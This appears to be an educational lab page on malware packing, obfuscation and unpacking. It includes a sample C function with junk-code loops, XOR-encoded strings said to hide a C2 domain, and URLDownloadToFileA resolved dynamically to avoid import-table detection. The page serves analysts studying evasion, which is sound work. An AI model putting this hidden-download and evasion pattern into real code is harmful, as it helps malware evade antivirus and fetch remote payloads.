Obfuscation & Unpacking Lab
Interactive simulation and visual analysis of the attack vector.
01Packing Visualizer
Packers compress and encrypt the executable, destroying its structure and hiding strings, resulting in a high-entropy blob that fools static antivirus scans.
02Obfuscation Tactics
Even when unpacked, malware authors use control-flow flattening (junk code), string encryption, and dynamic API loading to thwart manual reverse engineering.
void sub_4A92F1() {// Control Flow Flattening (Junk Code)int x = 0;while (x < 0xDEADBEEF) {x += 14;if (x == 500) goto JUMP_01;}JUMP_01:// Encrypted Strings (XOR encoded)char s1[] = { 0x2A, 0x36, 0x36, 0x32, 0x78, 0x67, 0x34, 0x27, ... };char s2[] = { 0x1E, 0x2D, 0x38, 0x22, 0x2B, 0x2A, 0x11, 0x16, ... };xor_decrypt(s1, 0x4F); // Decrypts to C2 domain at runtime// Dynamic API Resolution (No Imports)typedef HRESULT (WINAPI *tURLDownloadToFile)(...); tURLDownloadToFile pURLDownloadToFile = (tURLDownloadToFile)GetProcAddress(LoadLibrary("urlmon.dll"), "URLDownloadToFileA"); pURLDownloadToFile(NULL, s1, s2, 0, NULL);}
1. Junk Code & Dead Loops
Malware inserts meaningless calculations and `goto` statements to confuse analysts, break decompilers, and alter the file hash.
2. String Encryption
C2 domains and file paths are stored as XOR-encrypted byte arrays, meaning the `strings` command will return nothing useful during static analysis.
3. Dynamic API Loading
Instead of declaring `URLDownloadToFile` in the PE Import Table (which AV flags), the malware locates the function dynamically in memory at runtime.
03In-Memory Unpacking
To execute, a packed binary must decrypt itself into RAM at runtime. The unpacking stub decrypts the payload and manually rebuilds the Import Address Table (IAT) before jumping to the malicious code.